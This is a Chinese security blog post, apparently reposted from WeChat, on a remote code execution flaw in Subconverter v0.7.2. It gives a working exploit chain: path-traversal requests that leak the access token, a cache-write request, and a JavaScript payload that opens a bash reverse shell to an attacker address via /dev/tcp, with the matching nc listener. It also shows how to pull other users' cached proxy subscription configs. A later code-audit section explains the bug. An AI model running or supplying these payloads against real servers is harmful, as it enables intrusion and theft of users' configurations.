Subconverter订阅转换RCE漏洞

admin 2023年10月12日10:36:43评论348 views1字数 4590阅读15分18秒阅读模式
作者:九世

利用条件

enable cache必须开启    
api_access_token需要知道,默认token为password

路径

# 获取版本
/version

# qx-script接口(0.7.2-be878e1后被删除)
/qx-script?url=cHJlZi50b21s
/qx-script?url=cHJlZi55bWw
/qx-script?url=cHJlZi5pbmk

# convert接口(目前依然存在路径穿越到同目录下暴露配置token)
/convert?url=pref.toml
/convert?url=pref.ini
/convert?url=pref.yml

# 指令写入缓存目录
/sub?target=clash&url=http://1.1.1.1/payload

# payload
function parse(x){
os.exec(["sh","-c","bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1"])
}

# 反弹shell:
控制端运行:nc -lvp 1880
网页访问:/sub?target=clash&url=script:cache/md5,1&token=password

个人测试Tips

有/qx-script接口必有/convert,反之则不一定

获取曾经访问过这个站点的梯子配置

枫👴✌给的通过 cache 获取访问过这个站进行订阅转换的 exp

Subconverter订阅转换RCE漏洞

# payload
/sub?target=clash&url=https://xxx.xxx.com/payload.txt

# 查看文件是否写入
/qx-script?url=Y2FjaGUvN2JjZDZjYjVlYjJiMzNhODhi
/convert?url=cache/7bcd6cb5eb2b33a88b

# 获取缓存->缓存执行
http://127.0.0.1:25500/sub?target=clash&url=script:cache/7bcd6cb5eb2b33a88b,1&token=password

# 查看获取的缓存文件名
/qx-script?url=Y2FjaGUvc2RxY2pxc2czNA==
/convert?url=cache/sdqcjqsg34

# 之后匹配带有_header的行数,拼接路径即可获取访问过这个站进行订阅转换的梯子配置
/convert?url=cache/xxx

Subconverter订阅转换RCE漏洞

获取到的 v2 lnk

Subconverter订阅转换RCE漏洞

其他

1.获取到的缓存判断是v2或其他懒得弄        
2.获取订阅链接就很操蛋,如果是服务化可以用journalctl -fu nexconvert命令获取日志信息。如果没有服务化,则需要读取nginx配置文件获取日志路径,读日志去获取用户请求生成的订阅链接。关键字:url=    
3.shell弹回来不知道为什么不能执行命令 

RCE

Subconverter订阅转换RCE漏洞

直接使用编写好的 Exp 脚本(就不放出来了)

Subconverter订阅转换RCE漏洞

代码审计部分

版本:v0.7.2

main.cpp 可以看到对应的路由

Subconverter订阅转换RCE漏洞

主要关注: subconvertergetConvertedRulesetgetScript函数

webServer.append_response("GET", "/sub", "text/plain;charset=utf-8", subconverter);
webServer.append_response("GET", "/sub2clashr", "text/plain;charset=utf-8", simpleToClashR);
webServer.append_response("GET", "/surge2clash", "text/plain;charset=utf-8", surgeConfToClash);
webServer.append_response("GET", "/getruleset", "text/plain;charset=utf-8", getRuleset);
webServer.append_response("GET", "/getprofile", "text/plain;charset=utf-8", getProfile);
webServer.append_response("GET", "/qx-script", "text/plain;charset=utf-8", getScript);
webServer.append_response("GET", "/qx-rewrite", "text/plain;charset=utf-8", getRewriteRemote);
webServer.append_response("GET", "/render", "text/plain;charset=utf-8", renderTemplate);
webServer.append_response("GET", "/convert", "text/plain;charset=utf-8", getConvertedRuleset);

全局搜索 subconverter 函数

https://github1s.com/tindy2013/subconverter/blob/v0.7.2/src/handler/interfaces.cpp

subpayload

/sub?target=clash&url=https://xxx.xxx.com/payload

可以看到从请求参数获取 targeturltoken

std::string argTarget = getUrlArg(argument, "target"), argSurgeVer = getUrlArg(argument, "ver");
std::string argUrl = urlDecode(getUrlArg(argument, "url"));
bool authorized = !global.APIMode || getUrlArg(argument, "token") == global.accessToken, strict = argUpdateStrict.size() ? argUpdateStrict == "true" : global.updateStrict;

Subconverter订阅转换RCE漏洞

首先是 argTarget 判断 argTarget 是否为 ssssdsssubv2raytrojanclashclashrsurgequanquanxloonsurfboardmellow

如果都不是,则返回Invalid target!

Subconverter订阅转换RCE漏洞

然后到 token 判断,先判断是否开启验证,然后获取 token 参数判断是否和设置 token 验证相等

Subconverter订阅转换RCE漏洞

然后到 argUrl 判断是否为空

if(!argUrl.size() && (!global.APIMode || authorized))
    argUrl = global.defaultUrls;
if((!argUrl.size() && !(global.insertUrls.size() && argEnableInsert)) || !argTarget.size())
{
    *status_code = 400;
    return "Invalid request!";
}

Subconverter订阅转换RCE漏洞

这两个判断过完后则来到 addNodes 函数,先兑 argUrl 参数以 | 进行分割。遍历分割的数组

1.先匹配url是否符合正则
2.然后调用addNodes函数

Subconverter订阅转换RCE漏洞

最后判断 nodes.size() 是否为空如果是,则返回 No nodes ware found!

Subconverter订阅转换RCE漏洞

跟进 addNodes 函数

https://github1s.com/tindy2013/subconverter/blob/v0.7.2/src/generator/config/nodemanip.cpp#L35

先把 url 里的 \ 替换为空,然后我们可以看到这里 RCE 关键点。检查头部是否为 script:,然后使用 split 函数分割 script: 获取对应的文件名,读取后ctx.eval执行,随后创建函数调用parse函数

Subconverter订阅转换RCE漏洞

ctx.eval

Value eval(std::string_view buffer, const char * filename = "<eval>", unsigned eval_flags = 0)
{
    assert(buffer.data()[buffer.size()] == '&#x0;' && "eval buffer is not null-terminated"); // JS_Eval requirement
    JSValue v = JS_Eval(ctx, buffer.data(), buffer.size(), filename, eval_flags);
    return Value{ctx, v};
}

由于这里用了 try 如果脚本函数不为 parse 则走到 catch

所以 payload

exp.js

function parse(x){
    os.exec(["sh","-c","bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1"])
}

/sub?target=clash&url=script:cache/9934daae5fb293a3572cf3599d87784f,1&token=HAQVonsXYJVrDGNJYM10rCh5UuTdLBQq

但这只是 RCE 的部分,远程请求下载保存在缓存则在后面

132行 会调用 isLink 函数来判断 url 头部是否为 httphttps 或者头部是否为 surge:///install-config,之后 linkType 设置为 ConfigType::SUB

Subconverter订阅转换RCE漏洞

Subconverter订阅转换RCE漏洞

随后进入到 switch 判断,这里直接跟踪到判断为是 ConfigType::SUB,首先调用 urlDecode 函数进行 url 解码,然后利用 webGet 函数进行获取远端内容。注释也可以看到: surge config link

Subconverter订阅转换RCE漏洞

跟进 WebGet 函数

可以看到保存的文件名是由 :cache+md5 加密后的 url,还有 path_header 文件名则为刚刚的 path+_header,然后获取缓存文件夹的时间戳之后判断 response_header 变量是否存在,无论是否存在,存在则读取这个 path+_header 的文件,不存在则读取 path,然后调用 curlGet 请求远端。随后判断状态码是否为 200,如果是 200 则写入文件

Subconverter订阅转换RCE漏洞

到此这里远程下载保存到缓存的点分析完

然后分析 getConvertedRuleset 函数
获取 url 参数,url 解码并读取文件返回

Subconverter订阅转换RCE漏洞

getScript 函数也差不多,也是获取 url 参数。base64 解码该参数并读取文件

Subconverter订阅转换RCE漏洞

最新版已经出到 v0.8.0

Subconverter订阅转换RCE漏洞

新旧版对比,最新版已经删除掉 /convert/qx-script 两个接口

https://github.com/tindy2013/subconverter/commit/5de1a3fef0395f220c9ae4e747a7e712be37c423

Subconverter订阅转换RCE漏洞

https://github.com/tindy2013/subconverter/blob/master/src/main.cpp

Subconverter订阅转换RCE漏洞

参考链接

https://bulianglin.com/archives/subug.html
Subconverter订阅转换RCE漏洞

原文始发于微信公众号(刨洞安全团队):Subconverter订阅转换RCE漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月12日10:36:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Subconverter订阅转换RCE漏洞https://cn-sec.com/archives/2105254.html

发表评论

匿名网友 填写信息